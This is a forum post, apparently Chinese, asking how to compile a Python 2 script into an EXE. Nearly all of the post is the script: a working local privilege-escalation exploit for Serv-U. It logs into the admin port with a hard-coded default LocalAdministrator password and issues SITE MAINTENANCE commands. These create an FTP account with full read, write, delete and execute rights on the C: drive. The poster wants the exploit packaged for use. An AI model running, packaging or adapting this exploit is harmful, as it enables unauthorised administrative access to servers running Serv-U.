帮助编译成EXE文件
#!c:\python24\python
#Python Serv-U All Version Local Exploit
#Author:pt007版权所有,转载请注明版权信息
#Version:1.0
#Usage:servu.py 127.0.0.1 43958
import sys
import os
import socket
import time
def usage(programname):
print 'Python Serv-U All Version Local Exploit V1.0'
print 'Auther:pt007 QQ:7491805'
print 'Usage:%s 127.0.0.1 43958\r\n' %programname
buffer1='USER LocalAdministrator\r\n'
time.sleep(1)
buffer11='''PASS #l@$ak#.lk;0@P\r\n'''
time.sleep(1)
buffer2='SITE MAINTENANCE\r\n'
time.sleep(1)
buffer3='''\
-SETUSERSETUP\r\n
-IP=127.0.0.1\r\n
-PortNo=21\r\n
-User=test11\r\n
-Password=test11\r\n
-HomeDir=c:\\\r\n
-LoginMesFile=\r\n
-Disable=0\r\n
-RelPaths=0\r\n
-NeedSecure=0\r\n
-HideHidden=0\r\n
-AlwaysAllowLogin=0\r\n
-ChangePassword=1\r\n
-QuotaEnable=0\r\n
-MaxUsersLoginPerIP=-1\r\n
-SpeedLimitUp=-1\r\n
-SpeedLimitDown=-1\r\n
-MaxNrUsers=-1\r\n
-IdleTimeOut=600\r\n
-SessionTimeOut=-1\r\n
-Expire=0\r\n
-RatioUp=1\r\n
-RatioDown=1\r\n
-RatiosCredit=0\r\n
-QuotaCurrent=0\r\n
-QuotaMaximum=0\r\n
-Maintenance=System\r\n
-PasswordType=Regular\r\n
-Ratios=None\r\n
Access=c:\\|RWAMELCDP\r\n
QUIT\r\n'''
def main():
if len(sys.argv)!=3:
usage(sys.argv[0])
sys.exit(1)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #建立TCP连接,IPv4,TCP
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2]))) #连接到指定的IP和端口
s.send(buffer1)
s.send(buffer11)
s.send(buffer2)
s.send(buffer3)
time.sleep(1)
except:
print 'socket.error'
sys.exit(2)
print '成功加入FTP用户test11/test11!'
if __name__ == "__main__":main()
看到这个代码。不知道怎么编译成EXE文件。
我在本地编译的时候出错。。
谢谢